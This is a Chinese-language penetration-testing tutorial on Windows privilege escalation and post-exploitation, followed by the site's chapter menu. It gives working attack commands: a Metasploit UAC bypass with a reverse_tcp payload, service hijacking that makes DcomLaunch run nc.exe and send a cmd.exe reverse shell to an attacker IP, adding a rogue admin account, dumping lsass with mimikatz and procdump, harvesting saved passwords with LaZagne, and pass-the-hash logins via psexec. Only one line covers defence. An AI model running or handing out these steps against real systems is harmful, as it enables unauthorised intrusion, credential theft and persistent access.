# Windows系統提權
## 提權知識儲備
### 1??常見提權方法
>1、 溢出漏洞提權?
2、 數據庫提權?
3、 第三方軟件提權
### 2??Cmd命令無法執行原因分析
有時通過webshell連接上操作系統后,cmd命令可能無法執行,原因一般都是被管理員降權或刪除、組件被刪除。
解決方法是通過腳本木馬查找可讀可寫目錄,上傳cmd.exe,調用設定cmd路徑(找可讀可寫目錄不要選帶空格目錄)。
```cmd
#設置cmd執行路徑
setp c:\xxx\vvv\cmd.exe
```
### 3??提權常用命令講解
```
whoami ——查看用戶權限
systeminfo ——查看操作系統,補丁情況
ipconfig——查看當前服務器IP ipconfig /all
net user——查看當前用戶情況
netstat ——查看當前網絡連接情況?
netstat –ano? /netstat –an | find “ESTABLISHED”
tasklist ——查看當前進程情況 tasklist /svc
taskkill ——結束進程 taskkill -PID xx
net start? ——啟動服務
net stop ——停止服務
hostname ——獲取主機名稱
quser or query user ——獲取在線用戶
netstat -ano | findstr 3389 ——獲取rdp連接來源IP
dir c:\programdata\ ——分析安裝殺軟
wmic qfe get Caption,Description,HotFixID,InstalledOn ——列出已安裝的補丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber ——獲取遠程端口
tasklist /svc | find "TermService" + netstat -ano ——獲取遠程端口
```
## 系統溢出漏洞提權實戰
### **零、系統溢出漏洞提權分類:**
1. 遠程溢出
攻擊者只需要與服務器建立連接,然后根據系統的漏洞,使用相應的溢出程序,即可獲取到遠程服務器的root權限。
2. 本地溢出
首先要有服務器的一個用戶,且需要有執行的權限的用戶才能發起提權,
攻擊者通常會向服務器上傳本地溢出程序,在服務器端執行,如果系統存在漏洞,那么將溢出root權限
### 一、UAC繞過提權
UAC(User Account Control)是微軟在 Windows Vista 以后版本引入的一種安全機制,通過 UAC,應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員特別授予管理員級別的系統訪問權限。
當獲得的權限是屬于管理員組的時候但是并不是administrator這個用戶,此時就可能需要我們進行繞過UAC的操作,否則雖然是管理員組但是實際上并沒有管理員所對應的高權限操作,這個時候就需要bypass uac。
**uac 繞過exp**
```sh
#用kali
use exploit/windows/local/ask
meterpreter > background [*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > set session 1
msf5 exploit(windows/local/ask) > set lhost 192.168.60.79
msf5 exploit(windows/local/ask) > set lport 4444
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set technique exe
msf5 exploit(windows/local/ask) > exploit
其他exp:
use exploit/windows/local/bypassuacuse
exploit/windows/local/bypassuac
```
### 二、利用系統內核溢出漏洞提權
此提權方法即是通過系統本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權方法,依托可以提升權限的EXP和它們的補丁編號,進行提升權限。
**微軟官方時刻關注漏洞補丁列表網址:**
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
>比如常用的幾個已公布的 exp:KB2592799、KB3000061、KB2592799
**github中整理好的溢出提權exp:**
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
#### 如何判斷可用的漏洞
1. **快速查找操作系統未打補丁腳本**
可以最安全的減少目標機的未知錯誤,以免影響業務。 命令行下執行檢測未打補丁的命令如下:
```cmd
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
```
2. **MSF后滲透掃描:**
```
post/windows/gather/enum_patches
```
3. **Powershell掃描:**
```
Import-Module C:\Sherlock.ps1
Find-AllVulns
```
### 三、利用SC將administrator提權至system
**試用版本:**windows 7、8、03、08、12、16
關于sc命令:SC 是用于與服務控制管理器和服務進行通信的命令行程序。提供的功能類似于“控制面板”中“管理工具”項中的“服務”。
```cmd
sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start systcmd
```
>命令含義:
>創建一個名叫syscmd的新的交互式的cmd服務
>然后執行`sc start systcmd`,就得到了一個system權限的cmd環境
### 四、利用不帶引號的服務路徑
**Windows命令解釋程序可能會遇到名稱中的空格,并且沒有包裝在引號中的時候。就有可能出現解析漏洞。**
如開機自啟動中有程序路徑`C:\Program Files\Vulnerable.exe`,其中存在空格,此時在C盤根目錄上傳Program.exe文件時,可能會被目標開機自啟動。如果無效,還可以嘗試在C:\Program Files路徑下上傳Vulnerable.exe文件。
```
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
```
**可以使用以下命令查看錯誤配置的路徑**
```cmd
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
```
### 五、利用不安全的服務權限
**?即使正確引用了服務路徑,也可能存在其他漏洞。由于管理配置錯誤,用戶可能對服務擁有過多的權限,例如,可以直接修改它。**
**AccessChk工具可以用來查找用戶可以修改的服務:**
```cmd
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *
```
**sc命令也可以用來查找用戶可以修改的服務:**
```cmd
#查找可以修改的服務
sc qc “Service”
sc config xxx binpath= “net user rottenadmin P@ssword123! /add”
sc stop xxx
sc start xxx
```
每當我們開啟服務時sc命令都返回了一個錯誤。這是因為net user命令沒有指向二進制服務,因此SCM無法 與服務進行通信,通過使用執行自動遷移到新進程的payload,手動遷移進程,或者在執行后將服務的bin路徑設置回原始服務二進制文件,可以解決這個問題。或者我們在權限允許的情況下,將我們的木馬放到服務目錄下,并重命名為服務啟動的應用名稱。電腦重啟時即可獲得一個system的shell
##### 完整案例:
**①、利用系統自帶的 DcomLaunch服務測試(此服務Power User組低權可操作)**
```cmd
#查詢DcomLaunch的詳細信息
sc qc DcomLaunch
#查看服務是否啟動
net start | find "DCOM Server Process Launcher"
#運行 tasklist /svc 找到對應服務
tasklist /svc
```
**②、修改服務并獲取系統權限**
這里要配置使用nc反彈shell到我的攻擊機上,把nc放到c:\windows\temp目錄下,使用sc對服務進行修改
```
sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe"
```
?注意`binpath=`后面一定要有個空格,IP為攻擊者IP
**③、查看是否第二步成功**
```
sc qc DcomLaunch
```
**④、配置賬號密碼**
```
sc config DcomLaunch obj= ".\LocalSystem" password= ""
```
**obj:**指定運行服務將使用的帳戶名,或指定運行驅動程序將使用的 Windows 驅動程序對象名。默認設置為 LocalSystem。
**password:**指定一個密碼。如果使用了非 LocalSystem 的帳戶,則此項是必需的。
**⑤、重啟服務**
```
net start DcomLaunch
```
**⑥、攻擊機上用nc進行監聽4433即可得到反彈的shell**
```
nc.exe -vv -l -p 4433
```
### 六、計劃任務
**如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用惡意程序覆蓋原來的程序,這樣在下次計劃執行時,就會以高權限來運行惡意程序。**
```CMD
#查看計算機的計劃任務
schtasks /query /fo LIST /v
#查看指定目錄的權限配置情況
accesschk.exe -dqv "D:\test" -accepteula
```
### 七、Meterpreter基礎提權
**首先在Meterpreter會話執行ps命令查看目標機當前進程:**
假設此處看到了一個進程,運行賬戶是域管理員,我們可以再第一欄找到對應的進程PID,假設PID為2584:
然后我們可以執行以下語句竊取該用戶進程的令牌:
```
steal_token??2584
```
## 溢出漏洞安全防范
**及時通過Windows Update或第三方工具360更新補丁**
## 提權后獲取管理員密碼
雖然我們已經有了管理員權限,但是我們最好是再獲取管理員密碼,原因如下
1. 很多管理員賬號密碼都設置成一樣的,攻下一臺就可以拿下所有
2. 遠程連接時,比如使用木馬,很容易被發現或者清理
3. 如果用管理員賬號,可以清除滲透痕跡
4. 正規滲透測試過程中,都是取得管理員賬號密碼,登錄3389端口或反端口連接者證明為成功
> 簡單地說就是從獲取管理員權限——>獲取管理員賬號
### 1、本地管理員密碼如何直接提取
#### ①、直接通過mimikatz讀取管理員密碼
> mimikatz,很多人稱之為密碼抓取神器,它的功能很多,最重要的是能從 lsass.exe進程中獲取windows的賬號及明文密碼——這是以前的事了,微軟知道后已經準備了補丁,lsass進程不再保存明文口令。Mimikatz 現在只能讀到加密后的密碼。
> **win10無效**
```cmd
# 提升權限
privilege::debug
# 抓取密碼
sekurlsa::logonpassWords
```
當無法上傳mimikatz工具到目標服務器時,可以利用procdump把lsass進程的內存文件導出本地,再在本地利用mimikatz讀取密碼,具體步驟如下
```cmd
# 導出lsass.exe進程為lsass.dump文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
```
#### ②、Lazagne 需要本地支持python?
> LaZagne項目是用于開源應用程序獲取大量的密碼存儲在本地計算機上。每個軟件都使用不同的技術(純文本,API,自定義算法,數據庫等)存儲其密碼。
> LaZagne 幾乎支持市面上大部分常用工具。包括瀏覽器、Git、SVN、Wifi、Databases 等。
> 但是對聊天軟件的支持不夠本土化,主要支持一些國外的聊天軟件。
```cmd
laZagne.exe all? #獲取所有密碼
laZagne.exe browsers? #只獲取瀏覽器記住的密碼
laZagne.exe all -oN? #將輸出保存到文件????
```
-oN表示是純文本格式(正常的)的輸出,和屏幕打印內容相同;還可以寫成-oJ,JSON格式的輸出,更便于程序解析;或者寫成-oA,同時輸出兩種格式。
### 2、本地Hash遠程直接登錄
* * *
高版本的系統,密碼不是明文的情況下,直接通過哈希值來取得管理員賬號。主要通過MSF提供的exploit/windows/smb/psexec模塊來完成
```sh
msf>use exploit/windows/smb/psexec
msf>set rhost #目標IP?
msf>set SMBUser administrator? #目標賬號
msf>set SMBPass aaaaaa:bbbbbb #目標哈希值
msf>exploit?
msf>shell
```
### 3、Hash密鑰暴力破解
* * *
1. 通過LC5暴力hash密碼
使用gmer直接提權SAM和system文件或用Pwdump7提取hash后,最后使用LC5破解
2. 使用ophcrack破解系統hash密碼
http://simeon.blog.51cto.com/18680/122160
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具